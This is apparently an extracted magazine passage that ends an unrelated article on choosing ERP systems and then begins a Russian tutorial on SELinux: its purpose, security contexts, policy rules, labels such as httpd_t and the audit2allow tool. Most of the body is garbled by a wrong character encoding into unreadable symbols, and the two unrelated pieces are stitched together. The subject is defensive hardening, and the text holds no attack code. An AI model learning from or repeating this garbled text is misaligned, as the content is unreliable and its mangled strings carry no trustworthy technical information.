1. Ìû óâèäåëè, ÷òî ïðè âûáîðå ERP-ñèñòåìû èñõîäíûé êðóã äëÿ 
âûáîðà íå î÷åíü âåëèê. 
2. ×òîáû íà ðàííåé ñòàäèè ïîíÿòü, êàêîå èç ðåøåíèé ìîæåò ïî-
äîéòè, íóæíî ñïîçèöèîíèðîâàòü ñâîþ êîìïàíèþ îòíîñèòåëüíî 
ðûíêà äîñòóïíûõ ðåøåíèé ERP, ñäåëàòü ýòî ïî ôóíêöèîíàëüíî-
ñòè, ñòîèìîñòè, ðàçìåðó êîìïàíèè, îòðàñëè è äðóãèì ñóáúåêòèâ-
íûì ïðåäïî÷òåíèÿì.
3. Äëÿ êîððåêòíîãî ñðàâíåíèÿ ðàçëè÷íûõ ñèñòåì ìîæíî âîñïîëü-
çîâàòüñÿ òàêèìè ñðåäñòâàìè, êàê ðàáî÷èå âñòðå÷è, îöèôðîâàííàÿ 
îöåíêà ôóíêöèîíàëüíûõ ïàðàìåòðîâ, äèàãðàììà Ðàäàð. Íàäåþñü, 
÷òî ïðè òàêîì ïîäõîäå, âîîðóæèâøèñü çíàíèÿìè è çäðàâûì ñìûñ-
ëîì, ïðàâèëüíûé âûáîð áóäåò ñäåëàòü íåòðóäíî. z

Рис. 7. Комплекс бизнес-решений корпорации «Галактика» Рис. 8. Основные функциональные модули системы «1С: 
Управление Производственным Предприятием»
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SYN/ACK
 ¦ÃÄÆÎÉÊ  ¨ÏÂÎÉÎ  (execbit .ru)

SELinux снискала славу сложной в понимании и настройке системы безопасности, которая хоть и делает 
Linux намного более устойчивой к взлому операционной системой, но создает больше проблем, чем 
приносит решений. Такая точка зрения в корне не верна, и в этой статье я покажу, что SELinux намного 
проще и удобнее в использовании, чем это кажется на первый взгляд.

SELinux: ìèíèñòåðñòâî îáîðîíû ÑØÀ 
ðåêîìåíäóåò!

Áðîíåæèëåò äëÿ 
êîðïîðàòèâíîãî 
ïèíãâèíà

²ÉÒÓÆÍÁ SELinux (Security-Enhanced Linux — Linux Ò ÔÌÔØÙÆÎÎÏÊ ÂÆÈÏ-
ÐÁÒÎÏÒÓÝß) ÂÜÌÁ ÑÁÈÑÁÂÏÓÁÎÁ ÍÉÎÉÒÓÆÑÒÓÃÏÍ ÏÂÏÑÏÎÜ ²¹¡ É ÃÒÆÄÏ ÈÁ 
ÎÆÒËÏÌÝËÏ ÌÆÓ ÒÓÁÌÁ ÒÓÁÎÅÁÑÓÏÍ Ã ÏÂÌÁÒÓÉ ÒÉÒÓÆÍ ËÏÎÓÑÏÌà ÐÑÁÃ ÅÏÒÓÔÐÁ. 
¯ÎÁ ÂÜÌÁ ÃËÌßØÆÎÁ Ã àÅÑÏ Linux ÃÆÑÒÉÉ 2.6.0 É ÃÐÆÑÃÜÆ ÐÏàÃÉÌÁÒÝ ËÁË 
ÐÏÌÎÏÒÓÝß ÑÁÂÏÓÁßÚÁà ÉÈ ËÏÑÏÂËÉ ÒÉÒÓÆÍÁ Ã ÅÉÒÓÑÉÂÔÓÉÃÆ Red Hat 
Enterprise Linux 4. £ÐÏÒÌÆÅÒÓÃÉÉ ÐÏÅÅÆÑÇËÁ SELinux ÂÜÌÁ ÉÎÓÆÄÑÉÑÏ-
ÃÁÎÁ Ã ÓÁËÉÆ ÅÉÒÓÑÉÂÔÓÉÃÜ, ËÁË Debian, OpenSUSE É Ubuntu, Á ÅÏÐÏÌ-
ÎÉÓÆÌÝÎÜÆ ÐÁËÆÓÜ, ÁËÓÉÃÉÑÔßÚÉÆ ÒÉÒÓÆÍÔ, ÂÜÌÉ ÅÏÂÁÃÌÆÎÜ ÃÏ ÍÎÏÄÉÆ 
ÅÑÔÄÉÆ ÂÏÌÆÆ ÉÌÉ ÍÆÎÆÆ ÐÏÐÔÌàÑÎÜÆ ÅÉÒÓÑÉÂÔÓÉÃÜ. ©ÍÆÎÎÏ ÂÌÁÄÏÅÁÑà 
SELinux-ÅÉÒÓÑÉÂÔÓÉÃÔ RHEL5, ÑÁÂÏÓÁßÚÆÍÔ ÎÁ ÒÆÑÃÆÑÁÖ IBM, ÔÅÁÌÏÒÝ 
ÐÏÌÔØÉÓÝ ÒÆÑÓÉÕÉËÁÓ ÂÆÈÏÐÁÒÎÏÒÓÉ EAL4 Augmented with ALC_FLR.3, 
ËÏÓÏÑÜÊ Ã ÓÏ ÃÑÆÍà ÉÍÆÌÁ ÌÉÙÝ ÏÅÎÁ ÏÐÆÑÁ×ÉÏÎÎÁà ÒÉÒÓÆÍÁ — Trusted 
Solaris. SELinux ÒÔÚÆÒÓÃÆÎÎÏ ÑÁÒÙÉÑàÆÓ àÅÑÏ Linux, ÅÆÌÁà ÏÐÆÑÁ×ÉÏÎ-
ÎÜÆ ÒÉÒÓÆÍÜ, ÐÏÒÓÑÏÆÎÎÜÆ ÎÁ ÆÄÏ ÏÒÎÏÃÆ, ÐÑÉÄÏÅÎÜÍÉ Ë ÉÒÐÏÌÝÈÏÃÁÎÉß 
Ã ÒÕÆÑÁÖ, ÄÅÆ ÅÏÒÓÔÐ Ë ÉÎÕÏÑÍÁ×ÉÉ ÅÏÌÇÆÎ ÂÜÓÝ ÒÓÑÏÄÏ ÑÁÈÄÑÁÎÉØÆÎ, Á 
ÐÑÉÌÏÇÆÎÉà, ÈÁÐÔÒËÁÆÍÜÆ ÐÏÌÝÈÏÃÁÓÆÌàÍÉ, ÅÏÌÇÎÜ ÉÍÆÓÝ ÏÐÑÆÅÆÌÆÎ-
ÎÜÊ ÎÁÂÏÑ ÐÑÁÃ, ËÏÓÏÑÜÊ ÎÆ ÃÜÖÏÅÉÓ ÈÁ ÑÁÍËÉ ÍÉÎÉÍÁÌÝÎÏ ÎÆÏÂÖÏÅÉÍÏ-
ÄÏ.  ¾ÓÏ ÅÆÌÁÆÓ ÒÉÒÓÆÍÔ ÐÑÉÃÌÆËÁÓÆÌÝÎÏÊ ÅÌà ÄÏÒÔØÑÆÇÅÆÎÉÊ É ÃÏÆÎÎÜÖ, 
ÏÅÎÁËÏ ËÁÇÆÓÒà ÎÆ ÒÏÃÒÆÍ ÐÏÎàÓÎÜÍ, ÈÁØÆÍ ÏÎÁ ÎÔÇÎÁ ÁÅÍÉÎÉÒÓÑÁÓÏÑÁÍ 
ÑàÅÏÃÜÖ ÒÆÑÃÆÑÏÃ, Á ÔÇ ÓÆÍ ÂÏÌÆÆ — ÏÂÜØÎÜÍ ÐÏÌÝÈÏÃÁÓÆÌàÍ (Ã Fedora 
SELinux ÐÏ ÔÍÏÌØÁÎÉß ÃËÌßØÆÎ). ²ÆÊØÁÒ à ÐÏÐÜÓÁßÒÝ ÞÓÏÓ ÍÏÍÆÎÓ ÐÏ-
àÒÎÉÓÝ.

Зачем это нужно?
²ÏÈÅÁÓÆÌÉ UNIX ÎÁÅÆÌÉÌÉ ÒÃÏß ̄ ² ÐÑÏÒÓÜÍ, ÎÏ ÃÆÒÝÍÁ ÄÉÂËÉÍ É ËÑÁÒÉ-
ÃÜÍ ÍÆÖÁÎÉÈÍÏÍ ÂÆÈÏÐÁÒÎÏÒÓÉ. £ ÆÄÏ ÏÒÎÏÃÆ ÌÆÇÁÓ ÃÒÆÍ ÎÁÍ ÉÈÃÆÒÓÎÜÆ 
ÐÑÁÃÁ ÅÏÒÓÔÐÁ ÎÁ ÕÁÊÌÜ, ËÏÓÏÑÜÆ ÏÐÑÆÅÆÌàßÓ ËÑÔÄ ÌÉ× (ÐÏÌÝÈÏÃÁÓÆÌÆÊ, 
ÐÑÏ×ÆÒÒÏÃ), ÒÐÏÒÏÂÎÜÖ ÃÜÐÏÌÎàÓÝ ËÁËÉÆ-ÌÉÂÏ ÅÆÊÒÓÃÉà ÎÁÅ ÕÁÊÌÁÍÉ 
É ËÁÓÁÌÏÄÁÍÉ. ®ÁÐÑÉÍÆÑ, ÍÜ ÍÏÇÆÍ ÒÏÈÅÁÓÝ ÉÒÐÏÌÎàÆÍÜÊ ÕÁÊÌ É ÃÜ-
ÒÓÁÃÉÓÝ ÎÁ ÎÆÄÏ ÐÑÁÃÁ ÅÏÒÓÔÐÁ «-rwxr-xr-x», ØÓÏ ÂÔÅÆÓ ÏÈÎÁØÁÓÝ, ØÓÏ ÍÜ 
(ÓÏ ÆÒÓÝ ÃÌÁÅÆÌÆ× ÕÁÊÌÁ) ÍÏÇÆÍ ÅÆÌÁÓÝ Ò ÎÉÍ ÃÒÆ ØÓÏ ÈÁÖÏÓÉÍ, ÐÏÌÝ-
ÈÏÃÁÓÆÌÉ, ÃÖÏÅàÚÉÆ Ã ÎÁÙÔ ÄÑÔÐÐÔ, ÍÏÄÔÓ ÆÄÏ ØÉÓÁÓÝ É ÉÒÐÏÌÎàÓÝ, Á ÃÒÆ 
ÏÒÓÁÌÝÎÜÆ — ÓÏÌÝËÏ ÉÒÐÏÌÎàÓÝ. ́ ØÉÓÜÃÁà ÓÏÓ ÕÁËÓ, ØÓÏ ÃÒÆ ÔÒÓÑÏÊÒÓÃÁ Ã 
UNIX ÐÑÆÅÒÓÁÃÌÆÎÜ ÕÁÊÌÁÍÉ, ÓÁËÏÊ ÍÆÖÁÎÉÈÍ ÐÏÈÃÏÌàÆÓ ÎÆ ÓÏÌÝËÏ ØÆÓËÏ 
ÑÁÈÄÑÁÎÉØÉÃÁÓÝ ÅÏÒÓÔÐ ÐÏÌÝÈÏÃÁÓÆÌÆÊ (ÉÖ ÐÑÉÌÏÇÆÎÉÊ) Ë ÉÎÕÏÑÍÁ×ÉÉ, 
ÎÏ É Ë ÔÒÓÑÏÊÒÓÃÁÍ É ÅÁÇÆ Ë ÎÆËÏÓÏÑÜÍ ÕÔÎË×ÉàÍÉ ÏÐÆÑÁ×ÉÏÎÎÏÊ ÒÉÒÓÆ-
ÍÜ (procfs É sysfs). ̄ ÅÎÁËÏ, Ô ÍÆÖÁÎÉÈÍÁ ÐÑÁÃ ÅÏÒÓÔÐÁ ÆÒÓÝ ÅÃÁ ÒÆÑÝÆÈÎÜÖ 
ÎÆÅÏÒÓÁÓËÁ. £Ï-ÐÆÑÃÜÖ, ÉÖ ÑÆÁÌÉÈÁ×Éà ÒÌÉÙËÏÍ ÓÏÐÏÑÎÁ. ̄ ÎÁ ÖÏÑÏÙÏ 
ÐÏÅÖÏÅÉÓ ÅÌà ÏÓÅÆÌÆÎÉà ÐÑÏ×ÆÒÒÏÃ ÏÓ ËÏÎÕÉÅÆÎ×ÉÁÌÝÎÏÊ ÉÎÕÏÑÍÁ×ÉÉ 
ÐÏÌÝÈÏÃÁÓÆÌÆÊ, ÎÏ ÁÂÒÏÌßÓÎÏ ÎÆ ÐÏÅÖÏÅÉÓ ÅÌà ÄÉÂËÏÄÏ ÔÐÑÁÃÌÆÎÉà ÉÖ 
ÃÏÈÍÏÇÎÏÒÓàÍÉ. ®ÁÐÑÉÍÆÑ, ØÓÏÂÜ ÅÁÓÝ ËÁËÏÊ-ÌÉÂÏ ÅÉÒËÏÃÏÊ ÔÓÉÌÉÓÆ 

(cfdisk, ÎÁÐÑÉÍÆÑ) ÃÏÈÍÏÇÎÏÒÓÝ ÍÏÅÉÕÉËÁ×ÉÉ ÖÑÁÎàÚÆÊÒà ÎÁ ÅÉÒËÆ 
ÉÎÕÏÑÍÁ×ÉÉ, ÍÜ ÍÏÇÆÍ ÌÉÂÏ ÑÁÈÑÆÙÉÓÝ ÐÏÌÎÜÊ ÅÏÒÓÔÐ Ë ÅÉÒËÔ ÄÑÔÐÐÆ, 
Ë ËÏÓÏÑÏÊ ÐÑÉÎÁÅÌÆÇÉÓ ÆÆ ÃÌÁÅÆÌÆ×, ÌÉÂÏ ÈÁÐÔÒÓÉÓÝ ÆÆ Ò ÐÑÁÃÁÍÉ 
ÐÏÌÝÈÏÃÁÓÆÌà root. «ÁË Ã ÐÆÑÃÏÍ, ÓÁË É ÃÏ ÃÓÏÑÏÍ ÒÌÔØÁÆ ÍÜ ÒÏÈÅÁÅÉÍ 
ÐÏÓÆÎ×ÉÁÌÝÎÔß ÂÑÆÙÝ Ã ÂÆÈÏÐÁÒÎÏÒÓÉ: ÃÒÆ ÏÒÓÁÌÝÎÜÆ ÐÏÌÝÈÏÃÁÓÆÌÉ/
ÐÑÉÌÏÇÆÎÉà ÄÑÔÐÐÜ ÐÏÌÔØÁÓ ÐÑÁÃÁ ÅÏÒÓÔÐÁ Ë ÅÉÒËÔ, ÉÌÉ ÒÁÍÁ ÔÓÉÌÉÓÁ 
ÐÏÌÔØÉÓ ÎÁÉÃÜÒÙÉÆ É ÂÆÈÄÑÁÎÉØÎÜÆ ÐÑÁÃÁ Ã ÒÉÒÓÆÍÆ. ¡ ØÓÏ ÆÒÌÉ ÎÔÇÎÏ 
ÅÁÓÝ ÅÏÒÓÔÐ ÎÆ Ë ÍÏÅÉÕÉËÁ×ÉÉ ÅÉÒËÁ, Á ÓÏÌÝËÏ Ë ÃÜÈÏÃÔ ÏÐÑÆÅÆÌÆÎÎÜÖ 
ÆÄÏ ÕÔÎË×ÉÊ (ioctl)? ̈ ÅÆÒÝ ÐÑÁÃÁ ÅÏÒÓÔÐÁ ÃÏÏÂÚÆ ÎÆ ÐÏÍÏÄÔÓ. £Ï-ÃÓÏÑÜÖ, 
ÕÁÊÌÁÍÉ Ã Linux ÐÑÆÅÒÓÁÃÌÆÎÜ ÅÁÌÆËÏ ÎÆ ÃÒÆ ÑÆÒÔÑÒÜ ÏÐÆÑÁ×ÉÏÎÎÏÊ 
ÒÉÒÓÆÍÜ. ̄ ÄÑÏÍÎÏÆ ËÏÌÉØÆÒÓÃÏ ÕÔÎË×ÉÊ àÅÑÁ ÒËÑÜÓÏ Ã ÂÏÌÆÆ ØÆÍ ÓÑÆÖ 
ÒÏÓÎàÖ ÒÉÒÓÆÍÎÜÖ ÃÜÈÏÃÏÃ, ÂÏÌÝÙÁà ØÁÒÓÝ ËÏÓÏÑÜÖ ÅÏÒÓÔÐÎÁ ÅÌà ÉÒ-
ÐÏÌÝÈÏÃÁÎÉà ÁÂÒÏÌßÓÎÏ ÃÒÆÍ ÐÑÏ×ÆÒÒÁÍ, Á ÆÒÌÉ ÐÑÏ×ÆÒÒ ÉÍÆÆÓ ÐÑÁÃÁ 
root, ÓÏ ÆÄÏ ÃÏÈÍÏÇÎÏÒÓÉ ÃÏÏÂÚÆ ÎÉËÁË ÎÆ ÏÄÑÁÎÉØÉÃÁßÓÒà. ¦ÒÌÉ, Ë 
ÐÑÉÍÆÑÔ, ÍÜ ÈÁÖÏÓÉÍ ÈÁÐÔÒÓÉÓÝ FTP-ÒÆÑÃÆÑ ÎÁ ÒÓÁÎÅÁÑÓÎÏÍ ÅÌà ÎÆÄÏ 21 
ÐÏÑÓÔ, ËÏÓÏÑÜÊ ÅÏÒÓÔÐÆÎ ÓÏÌÝËÏ ÐÑÏ×ÆÒÒÁÍ Ò ÐÑÁÃÁÍÉ root, ÎÁÍ ÐÑÉÅÆÓÒà 
ÃÒÆ×ÆÌÏ ÅÏÃÆÑÉÓÝÒà ÆÄÏ ÑÁÈÑÁÂÏÓØÉËÔ, ÐÏÒËÏÌÝËÔ ÑÁÂÏÓÁà ÏÓ root, FTP-
ÒÆÑÃÆÑ ÂÔÅÆÓ ÒÐÏÒÏÂÆÎ ÅÆÌÁÓÝ ÁÂÒÏÌßÓÎÏ ÃÒÆ, É ÏÙÉÂËÁ, ÎÁÊÅÆÎÎÁà Ã ÆÄÏ 
ËÏÅÆ, ÅÁÒÓ ÃÈÌÏÍÚÉËÔ ÐÏÌÎÜÊ ËÏÎÓÑÏÌÝ ÎÁÅ ÒÉÒÓÆÍÏÊ. © ÞÓÏ ÉÈ-ÈÁ ÐÑÏ-
ÒÓÏÊ ÐÏÓÑÆÂÎÏÒÓÉ ÒÌÔÙÁÓÝ ÐÑÉÃÉÌÆÄÉÑÏÃÁÎÎÜÊ ÐÏÑÓ! SELinux ÑÆÙÁÆÓ 
ÞÓÉ ÐÑÏÂÌÆÍÜ, ÐÏÈÃÏÌàà ØÑÆÈÃÜØÁÊÎÏ ÄÉÂËÏ ËÏÎÓÑÏÌÉÑÏÃÁÓÝ ÏÓÎÏÙÆÎÉà 
ÐÑÏ×ÆÒÒÁ É ÏÐÆÑÁ×ÉÏÎÎÏÊ ÒÉÒÓÆÍÜ. ² ÆÄÏ ÐÏÍÏÚÝß ÍÏÇÎÏ ÏÄÑÁÎÉØÉÓÝ 
ÐÑÏ×ÆÒÒ Ã ÃÏÈÍÏÇÎÏÒÓÉ ÏÂÑÁÚÆÎÉà Ë ÓÆÍ ÉÌÉ ÉÎÜÍ ÒÉÒÓÆÍÎÜÍ ÃÜÈÏÃÁÍ 
ÉÌÉ ÕÁÊÌÁÍ, ËÏÎÓÑÏÌÉÑÏÃÁÓÝ ÓÏ, ËÁË ÐÑÏÉÒÖÏÅÉÓ ÒÉÒÓÆÍÎÜÊ ÃÜÈÏÃ, ËÁËÉÆ 
ÐÑÉ ÞÓÏÍ ÉÒÐÏÌÝÈÔßÓÒà ÁÑÄÔÍÆÎÓÜ, ÈÁÐÑÆÚÁÓÝ ÉÌÉ ÑÁÈÑÆÙÁÓÝ ÐÑÉÃàÈËÔ 
ÐÑÏ×ÆÒÒÁ Ë ÏÐÑÆÅÆÌÆÎÎÜÍ ÐÏÑÓÁÍ, ËÏÑÏØÆ ÄÏÃÏÑà, ÔÐÑÁÃÌàÓÝ ÃÏÈÍÏÇÎÏ-
ÒÓàÍÉ ÐÑÏ×ÆÒÒÏÃ ÎÁ ÒÁÍÏÍ ÎÉÈËÏÍ ÔÑÏÃÎÆ.

Как это работает?
¦ÒÌÉ ÂÜ ÓÜ ØÉÓÁÌ ÓÏÌÒÓÔß ËÎÉÇËÔ ÂÆÈ ËÁÑÓÉÎÏË, ÓÏ ÈÅÆÒÝ ÓÆÂà ÅÏÌÇÎÜ 
ÂÜÌÉ ÐÏÅÇÉÅÁÓÝ ÑÁÒÒÔÇÅÆÎÉà Ï ÓÁËÉÖ ÙÓÔËÁÖ, ËÁË ÅÉÒËÑÆ×ÉÏÎÎÜÊ É ÍÁÎ-
ÅÁÓÎÜÊ ËÏÎÓÑÏÌÝ ÅÏÒÓÔÐÁ, RBAC, MCS É ÅÑÔÄÉÖ ÏËÏÌÏÎÁÔØÎÜÖ ÃÆÚÁÖ. « 
ÒØÁÒÓÝß, ÓÜ ØÉÓÁÆÙÝ ][, ÐÏÞÓÏÍÔ ÓÆÂÆ ÐÑÉÅÆÓÒà ÐÑÏÒÌÔÙÁÓÝ ÂÏÌÆÆ ÐÑÏÒÓÏÆ 
ÏÂÛàÒÎÆÎÉÆ.  °ÏÎàÓÝ ÐÑÉÎ×ÉÐ ÑÁÂÏÓÜ SELinux É ÈÁÌÏÇÆÎÎÜÆ Ã ÎÆÄÏ ÉÅÆÉ 
ÐÑÏÚÆ ÃÒÆÄÏ ÑÁÈÏÂÑÁÃÙÉÒÝ Ò ÓÆÍ, ØÓÏ ÐÑÏÉÒÖÏÅÉÓ ÃÏ ÃÑÆÍà ÆÄÏ ÁËÓÉÃÁ-
×ÉÉ. ̧ ÓÏ ÅÆÌÁÆÓ SELinux ÅÌà ÓÏÄÏ, ØÓÏÂÜ ËÏÎÓÑÏÌÉÑÏÃÁÓÝ ÏÂÑÁÚÆÎÉà ÐÑÏ-
×ÆÒÒÏÃ Ë ÑÆÒÔÑÒÁÍ ̄ ²? «ÏÎ×ÆÐÓÔÁÌÝÎÏ ÍÏÇÎÏ ÃÜÅÆÌÉÓÝ ØÆÓÜÑÆ ÙÁÄÁ:
1. £ÒÆ ÒÔÂÛÆËÓÜ (ÐÑÏ×ÆÒÒÜ) É ÏÂÛÆËÓÜ (ÕÁÊÌÜ, ÒÉÒÓÆÍÎÜÆ ÃÜÈÏÃÜ É Ó.Å.) 
ÃÈÁÉÍÏÅÆÊÒÓÃÉà ÐÏÍÆØÁßÓÒà Ò ÐÏÍÏÚÝß ÒÐÆ×ÉÁÌÝÎÜÖ ÍÆÓÏË, ÎÁÈÜÃÁÆ-
ÍÜÖ ËÏÎÓÆËÒÓÏÍ ÂÆÈÏÐÁÒÎÏÒÓÉ (ÐÑÏ×ÆÒÒÜ ÃÏ ÃÑÆÍà ÈÁÐÔÒËÁ, ÕÁÊÌÜ — ÃÏ 
ÃÑÆÍà ÒÏÈÅÁÎÉà ÉÌÉ ÔÒÓÁÎÏÃËÉ ̄ ², ÉÖ ÍÆÓËÉ ÖÑÁÎàÓÒà Ã ÑÁÒÙÉÑÆÎÎÜÖ 
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ÁÓÑÉÂÔÓÁÖ µ², ÒÉÒÓÆÍÎÜÆ ÃÜÈÏÃÜ — ÐÑÉ ËÏÍÐÉÌà×ÉÉ ÍÏÅÔÌà SELinux).
2. «ÏÄÅÁ ÒÔÂÛÆËÓ ÐÜÓÁÆÓÒà ÐÑÏÉÈÃÆÒÓÉ ËÁËÏÆ-ÌÉÂÏ ÅÆÊÒÓÃÉÆ Ã ÏÓÎÏÙÆÎÉÉ 
ÏÂÛÆËÓÁ, ÉÎÕÏÑÍÁ×Éà ÏÂ ÞÓÏÍ ÅÆÊÒÓÃÉÉ ÐÏÒÓÔÐÁÆÓ Ë ÏÂÑÁÂÏÓØÉËÔ SELinux. 
3. ̄ ÂÑÁÂÏÓØÉË ÒÍÏÓÑÉÓ ÎÁ ËÏÎÓÆËÒÓÜ ÂÆÈÏÐÁÒÎÏÒÓÉ ÒÔÂÛÆËÓÁ É ÏÂÛÆËÓÁ É, 
ÒÃÆÑààÒÝ Ò ÎÁÐÉÒÁÎÎÜÍÉ ÑÁÎÆÆ ÐÑÁÃÉÌÁÍÉ (ÓÁË ÎÁÈÜÃÁÆÍÁà ÐÏÌÉÓÉËÁ), 
ÐÑÉÎÉÍÁÆÓ ÑÆÙÆÎÉÆ Ï ÅÏÈÃÏÌÆÎÎÏÒÓÉ ÅÆÊÒÓÃÉà.
4. ¦ÒÌÉ ÅÆÊÒÓÃÉÆ ÏËÁÈÜÃÁÆÓÒà ÐÑÁÃÏÍÏØÎÜÍ (ÐÏÌÉÓÉËÁ ÆÄÏ ÑÁÈÑÆÙÁÆÓ), 
ÏÂÛÆËÓ (ÐÑÏÄÑÁÍÍÁ) ÐÑÏÅÏÌÇÁÆÓ ÑÁÂÏÓÁÓÝ Ã ÏÂÜØÎÏÍ ÑÆÇÉÍÆ, Ã ÐÑÏ-
ÓÉÃÎÏÍ ÒÌÔØÁÆ — ÏÎÁ ÌÉÂÏ ÐÑÉÎÔÅÉÓÆÌÝÎÏ ÈÁÃÆÑÙÁÆÓÒà, ÌÉÂÏ ÐÏÌÔØÁÆÓ 
ÃÆÇÌÉÃÜÊ ÏÓËÁÈ. £ ÑÆÁÌÝÎÏÊ ÒÉÓÔÁ×ÉÉ ÃÒÆ ÞÓÏ ÃÜÄÌàÅÉÓ ÐÑÉÍÆÑÎÏ ÓÁË: 
ÏÅÉÎ ÉÈ ÒËÑÉÐÓÏÃ ÉÎÉ×ÉÁÌÉÈÁ×ÉÉ ÅÉÒÓÑÉÂÔÓÉÃÁ, ÉÍÆßÚÉÊ ÍÆÓËÔ initrc_t 
(ÎÁ ÒÁÍÏÍ ÅÆÌÆ ÞÓÔ ÍÆÓËÔ ÉÍÆßÓ ÐÏÑÏÇÅÁÆÍÜÆ ÉÍ ÐÑÏ×ÆÒÒÜ, ÎÏ ÒÆÊØÁÒ 
ÞÓÏ ÎÆ ÃÁÇÎÏ), ÈÁÐÔÒËÁÆÓ ÃÆÂ-ÒÆÑÃÆÑ Apache Ò ÐÏÍÏÚÝß ÕÁÊÌÁ /usr/sbin/
httpd, ËÏÓÏÑÜÊ ÉÍÆÆÓ ÍÆÓËÔ httpd_exec_t. «ÁË É ÃÒÆ ÏÒÓÁÌÝÎÜÆ ÅÆÊÒÓÃÉà, 
ÈÁÐÑÏÒ ÎÁ ÞÓÔ ÏÐÆÑÁ×Éß ÐÏÒÓÔÐÁÆÓ Ã SELinux, Ã ÐÑÁÃÉÌÁÖ (ÐÏÌÉÓÉËÆ) 
ËÏÓÏÑÏÄÏ ÔËÁÈÁÎÏ, ØÓÏ initrc_t ÎÆ ÓÏÌÝËÏ ÉÍÆÆÓ ÐÑÁÃÏ ÈÁÐÔÒËÁÓÝ ÕÁÊÌ Ò 

ÍÆÓËÏÊ httpd_exec_t, ÎÏ É ÓÏ, ØÓÏ ÐÑÉ ÈÁÐÔÒËÆ ÞÓÏÄÏ ÕÁÊÌÁ ÐÑÏ×ÆÒÒ É ÆÄÏ 
ÐÏÓÏÍËÉ ÅÏÌÇÎÜ ÐÏÌÔØÉÓÝ ÍÆÓËÔ httpd_t. ³ÆÐÆÑÝ Ã ÒÉÒÓÆÍÆ ÐÏàÃÌàÆÓÒà 
ÏÅÉÎ ÉÌÉ ÎÆÒËÏÌÝËÏ ÐÑÏ×ÆÒÒÏÃ Apache, ÐÏÍÆØÆÎÎÜÖ ËÁË httpd_t. «ÁÇÅÜÊ 
ÉÈ ÎÉÖ ÂÔÅÆÓ ÐÏÅØÉÎàÓÝÒà ÐÑÁÃÉÌÁÍ SELinux, ÏÓÎÏÒàÚÉÍÒà Ë ÞÓÏÊ ÍÆÓËÆ, 
ÐÏÞÓÏÍÔ, ÆÒÌÉ Ã ÐÏÌÉÓÉËÆ ÔËÁÈÁÎÏ, ØÓÏ httpd_t ÍÏÇÆÓ ÐÏÌÔØÁÓÝ ÅÏÒÓÔÐ 
ÓÏÌÝËÏ Ë ÕÁÊÌÁÍ, ÐÏÍÆØÆÎÎÜÍ ËÁË httpd_sys_content_t É 80 ÐÏÑÓÔ, Apache 
ÎÆ ÒÍÏÇÆÓ ÎÁÑÔÙÉÓÝ ÞÓÉ ÐÑÁÃÉÌÁ (ÐÆÑÆÃÆÒÉÃ ÆÄÏ ÎÁ ÅÑÔÄÏÊ ÐÏÑÓ ÍÜ 
ÐÏÐÑÏÒÓÔ ÐÏÌÔØÉÍ ÏÙÉÂËÔ ÈÁÐÔÒËÁ). ±ÆÈÏÎÎÜÊ ÃÏÐÑÏÒ: ÏÓËÔÅÁ ÂÆÑÔÓÒà 
ÐÑÁÃÉÌÁ? ©Ö ÐÉÙÔÓ ÌßÅÉ, Á ÓÏØÎÆÆ — ÍÁÎÓÆÊÎÆÑÜ ÅÉÒÓÑÉÂÔÓÉÃÏÃ, ØÓÏ 
ÎÆ ÍÆÙÁÆÓ ÒÉÒÓÆÍÎÏÍÔ ÁÅÍÉÎÉÒÓÑÁÓÏÑÔ ÉÒÐÑÁÃÉÓÝ ÉÖ ÒÏÏÓÃÆÓÒÓÃÆÎÎÏ 
ÒÃÏÉÍ ÐÏÓÑÆÂÎÏÒÓàÍ. ̄ ÂÜØÎÏ ÐÑÁÃÉÌÁ ÈÁÄÑÔÇÁßÓÒà ÎÁ ÐÆÑÃÏÍ ÞÓÁÐÆ 
ÉÎÉ×ÉÁÌÉÈÁ×ÉÉ ̄ ², ÎÏ Ò ÐÏÍÏÚÝß ÏÒÏÂÜÖ ÐÑÉÆÍÏÃ ÉÖ ÍÏÇÎÏ ÐÏÅÒÔÎÔÓÝ 
É Ã ÔÇÆ ÑÁÂÏÓÁßÚÔß ÒÉÒÓÆÍÔ (ÎÆ ÐÆÑÆÈÁÄÑÔÇÁÓÝ ÇÆ ÒÆÑÃÆÑ Ò ÁÐÓÁÊÍÏÍ 1,5 
ÄÏÅÁ ÓÏÌÝËÏ ÅÌà ÓÏÄÏ, ØÓÏÂÜ ÑÁÈÑÆÙÉÓÝ FTP-ÒÆÑÃÆÑÔ ÖÏÅÉÓÝ ÐÏ ÒÉÍÌÉÎ-
ËÁÍ). ³ÉÐÉØÎÜÊ ÏÂÛÆÍ ÕÁÊÌÁ ÐÏÌÉÓÉË SELinux ÅÌà ÏÒÎÏÃÎÜÖ ÐÑÉÌÏÇÆ-
ÎÉÊ É ÒÆÑÃÉÒÏÃ ÅÉÒÓÑÉÂÔÓÉÃÁ ÍÏÇÆÓ ÒÏÅÆÑÇÁÓÝ ÅÏ ÎÆÒËÏÌÝËÉÖ ÒÏÓÆÎ 
ÓÜÒàØ ÒÓÑÏË, ÐÏÞÓÏÍÔ, ØÓÏÂÜ ÎÆ ÏÂÑÆÍÆÎàÓÝ ÁÅÍÉÎÏÃ ÑÔÓÉÎÎÏÊ ÑÁÂÏÓÏÊ, 
ÂÜÌÉ ÒÏÈÅÁÎÜ ÉÎÒÓÑÔÍÆÎÓÜ ÅÌà ÉÖ ÁÃÓÏÍÁÓÉØÆÒËÏÊ ÄÆÎÆÑÁ×ÉÉ Ò ÐÏ-
ÍÏÚÝß ÏÂÔØÆÎÉà (ÎÁÐÑÉÍÆÑ, ÔÓÉÌÉÓÁ audit2allow ÐÏÈÃÏÌàÆÓ ÒÏÒÓÁÃÌàÓÝ 
ÐÑÁÃÉÌÁ SELinux ÎÁ ÏÒÎÏÃÆ ÌÏÄ-ÕÁÊÌÏÃ ÐÏÅÒÉÒÓÆÍÜ audit). £ ÒÌÆÅÔß-
ÚÉÖ ÑÁÈÅÆÌÁÖ ÍÜ ÐÏÅÑÏÂÎÆÆ ÏÒÓÁÎÏÃÉÍÒà ÎÁ ÞÓÏÍ ÃÏÐÑÏÒÆ, ÏÅÎÁËÏ ÅÌà 
ÎÁØÁÌÁ ÎÁÍ ÒÌÆÅÔÆÓ ÑÁÈÏÂÑÁÓÝÒà Ò «ÐÏÌÉÓÉËÏÊ ÔÐÑÁÃÌÆÎÉà ÅÏÒÓÔÐÏÍ ÎÁ 
ÏÒÎÏÃÆ ÑÏÌÆÊ».

Управление доступом на основе 
ролей или RBAC
